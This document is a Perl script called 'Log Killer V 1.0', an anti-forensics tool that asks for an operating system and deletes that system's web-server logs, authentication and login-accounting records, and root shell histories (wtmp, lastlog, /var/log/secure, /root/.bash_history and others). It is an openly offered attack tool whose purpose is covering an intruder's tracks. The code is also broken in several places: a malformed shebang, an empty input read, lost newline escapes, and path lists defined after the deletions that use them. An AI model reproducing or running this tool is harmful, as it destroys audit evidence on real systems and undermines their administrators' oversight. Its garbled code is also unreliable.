Code:
#!usr/bin/perl
   { 
   $resume = 1; 
   
     print "##################################n";
     print "#    Log Killer V 1.0            #n";   
     while($resume == 1) #Start Loop 
   { 
     print "# Usage log.pl               #n";
    print "# Operating System Choice        #n";
     print "#--------------------------------#n";
     print "# linux                          #n";
     print "# sunos                          #n";
     print "# aix                            #n";
     print "# irix                           #n";
     print "# openbsd                        #n";
     print "# solaris                        #n";
     print "# suse                           #n";
     print "# lampp                          #n";
     print "# debian                         #n";
     print "# freebsd                        #n";
     print "# misc Possible Log Locations    #n";
     print "##################################n";

     chomp($os = ); 

                if($os eq "misc"){ #If misc typed, do the following and start brackets 
             print "[+]misc Selected...n";   
             sleep 1; 
             print "[+]Logs Located...n"; 
             sleep 1; 
             unlink @misc;   
             sleep 1; 
             print "[+]Logs Successfully Deleted...n"; 
              }

                if($os eq "openbsd"){ #If openbsd typed, do the following and start brackets 
             print "[+]openbsd Selected...n"; 
             sleep 1; 
             print "[+]Logs Located...n";   
             sleep 1; 
             unlink @openbsd;   
             sleep 1; 
             print "[+]Logs Successfully Deleted...n";   
              }

                if($os eq "freebsd"){ #If freebsd typed, do the following and start brackets 
             print "[+]freebsd Selected...n";   
             sleep 1; 
             print "[+]Logs Located...n";   
             sleep 1; 
             unlink @freebsd;   
             sleep 1; 
             print "[+]Logs Successfully Deleted...n"; 
              }

                if($os eq "debian"){ #If Debian typed, do the following and start brackets 
             print "[+]debian Selected...n";
             sleep 1; 
             print "[+]Logs Located...n";
             sleep 1; 
             unlink @debian;   
             sleep 1; 
             print "[+]Logs Successfully Deleted...n";
              }

                if($os eq "suse"){ #If suse typed, do the following and start brackets 
             print "[+]suse Selected...n"; 
             sleep 1; 
             print "[+]Logs Located...n";
             sleep 1; 
             unlink @suse;   
             sleep 1; 
             print "[+]Logs Successfully Deleted...n";
              }

                if($os eq "solaris"){ #If solaris typed, do the following and start brackets 
             print "[+]solaris Selected...n";
             sleep 1; 
             print "[+]Logs Located...n";
             sleep 1; 
             unlink @solaris;
             sleep 1; 
             print "[+]Logs Successfully Deleted...n"; 
              }

                if($os eq "lampp"){ #If lampp typed, do the following and start brackets 
             print "[+]Lampp Selected...n"; 
             sleep 1; 
             print "[+]Logs Located...n";
             sleep 1; 
             unlink @lampp; 
             sleep 1; 
             print "[+]Logs Successfully Deleted...n";
              }

                if($os eq "redhat"){ #If redhat typed, do the following and start brackets 
             print "[+]Red Hat Linux/Mac OS X Selected...n";
             sleep 1; 
             print "[+]Logs Located...n";
             sleep 1; 
             unlink @redhat;
             sleep 1; 
             print "[+]Logs Successfully Deleted...n";
              }
       
                if($os eq "linux"){ #If linux typed, do the following and start brackets 
             print "[+]Linux Selected...n";   
             sleep 1; 
             print "[+]Logs Located...n"; 
             sleep 1; 
             unlink @linux; 
             sleep 1; 
             print "[+]Logs Successfully Deleted...n";
              } 
             
              if($os eq "sunos"){ #If sunos typed, do the following and start brackets 
              print "[+]SunOS Selected...n";
              sleep 1; 
              print "[+]Logs Located...n"; 
              sleep 1; 
              unlink @sunos; 
              print "[+]Logs Successfully Deleted...n"; 
              }   
               
              if($os eq "aix"){ #If aix typed, do the following and start brackets 
                 print "[+]Aix Selected...n";
                 sleep 1; 
              print "[+]Logs Located...n";
              sleep 1; 
              unlink @aix;
              print "[+]Logs Successfully Deleted...n";
              }
             
              if($os eq "irix"){ #If irix typed, do the following and start bracket 
              print "[+]Irix Selected...n";
              sleep 1; 
              print "[+]Logs Located...n"; 
              sleep 1; 
              unlink @irix;   
              print "[+]Logs Successfully Deleted...n"; 
              }

                                #Misc Log Locations   
      {                       
      @misc = ("/etc/httpd/logs/access.log", "/etc/httpd/logs/error.log","/etc/httpd/logs/access_log",
            "/etc/httpd/logs/error_log","/usr/local/apache/logs/access_log","/usr/local/apache/logs/error_log",
            "/usr/local/apache/logs/access.log","/usr/local/apache/logs/error.log","/var/log/apache/access_log",
            "/var/log/apache/error_log","/var/log/apache/access.log","/var/log/apache/error.log","/var/log/access_log",
            "/var/log/error_log","/var/www/logs/error.log","/var/www/logs/access.log","/var/www/logs/error_log",
            "/var/www/logs/access_log")
         }

                                 #Logs of OpenBSD Systems 
   
      { 
       @openbsd = ("/var/www/log/access_log", "/var/www/log/error_log") 
           }

                                 #Logs of FreeBSD Systems 
   
      { 
       @freebsd = ("/usr/local/etc/httpd/logs/access_log", "/usr/local/etc/httpd/logs/error_log")
           }

                                 #Logs of Debian Systems 
   
      { 
       @debian = ("/var/log/apache/access.log", "/var/log/apache/error.log",
       "/var/log/apache-ssl/error.log", "/var/log/apache-ssl/access.log") 
           }   

                                 #Logs of SuSE Linux Systems 
   
      { 
       @suse = ("/var/log/httpd/access_log", "/var/log/httpd/error_log")
           }

                                 #Logs of Solaris Systems 
   
      {   
       @solaris = ("/var/apache/logs/access_log", "/var/apache/logs/error_log")
           }

                                 #Logs of Lampp Systems 
   
      { 
       @lampp = ("/opt/lampp/logs/error_log", "/opt/lampp/logs/access_log")
           }

                                 #Logs of Red Hat, Mac OS X Systems 
   
      { 
       @redhat = ("/var/log/httpd/access_log", "/var/log/httpd/error_log")
           }
               
                                 #Logs of Irix Systems 
   
      { 
       @irix = ("/var/adm/SYSLOG", "/var/adm/sulog", "/var/adm/utmp", "/var/adm/utmpx", 
              "/var/adm/wtmp", "/var/adm/wtmpx", "/var/adm/lastlog/", 
            "/usr/spool/lp/log", "/var/adm/lp/lp-errs", "/usr/lib/cron/log", 
            "/var/adm/loginlog", "/var/adm/pacct", "/var/adm/dtmp", 
            "/var/adm/acct/sum/loginlog", "var/adm/X0msgs", "/var/adm/crash/vmcore", 
            "/var/adm/crash/unix") 
           }

                                #Log sof Aix Systems 
      {   
      @aix = ("/var/adm/pacct", "/var/adm/wtmp", "/var/adm/dtmp", "/var/adm/qacct",   
               "/var/adm/sulog", "/var/adm/ras/errlog", "/var/adm/ras/bootlog", 
               "/var/adm/cron/log", "/etc/utmp", "/etc/security/lastlog", 
               "/etc/security/failedlogin", "usr/spool/mqueue/syslog")   
         } 

                                #Logs of SunOS Systems   
      {                     
      @sunos = ("/var/adm/messages", "/var/adm/aculogs", "/var/adm/aculog", 
                 "/var/adm/sulog", "/var/adm/vold.log", "/var/adm/wtmp", 
                 "/var/adm/wtmpx", "/var/adm/utmp", "/var/adm/utmpx", 
                 "/var/adm/log/asppp.log", "/var/log/syslog", 
                 "/var/log/POPlog", "/var/log/authlog", "/var/adm/pacct", 
                 "/var/lp/logs/lpsched", "/var/lp/logs/requests", 
              "/var/cron/logs", "/var/saf/_log", "/var/saf/port/log")
         }     

                                #Logs of Linux Systems       
      {     
       @linux = ("/var/log/lastlog", "/var/log/telnetd", "/var/run/utmp", 
                 "/var/log/secure","/root/.ksh_history", "/root/.bash_history", 
                 "/root/.bash_logut", "/var/log/wtmp", "/etc/wtmp", 
                 "/var/run/utmp", "/etc/utmp", "/var/log", "/var/adm", 
                 "/var/apache/log", "/var/apache/logs", "/usr/local/apache/logs", 
                 "/usr/local/apache/logs", "/var/log/acct", "/var/log/xferlog", 
                 "/var/log/messages/", "/var/log/proftpd/xferlog.legacy", 
                 "/var/log/proftpd.xferlog", "/var/log/proftpd.access_log", 
                 "/var/log/httpd/error_log", "/var/log/httpsd/ssl_log", 
                 "/var/log/httpsd/ssl.access_log", "/etc/mail/access", 
                 "/var/log/qmail", "/var/log/smtpd", "/var/log/samba", 
                 "/var/log/samba.log.%m", "/var/lock/samba", "/root/.Xauthority", 
                 "/var/log/poplog", "/var/log/news.all", "/var/log/spooler", 
                 "/var/log/news", "/var/log/news/news", "/var/log/news/news.all", 
                 "/var/log/news/news.crit", "/var/log/news/news.err", "/var/log/news/news.notice", 
                 "/var/log/news/suck.err", "/var/log/news/suck.notice", 
                 "/var/spool/tmp", "/var/spool/errors", "/var/spool/logs", "/var/spool/locks", 
                 "/usr/local/www/logs/thttpd_log", "/var/log/thttpd_log", 
                 "/var/log/ncftpd/misclog.txt", "/var/log/nctfpd.errs", 
                 "/var/log/auth")
         } 
         
      }

   }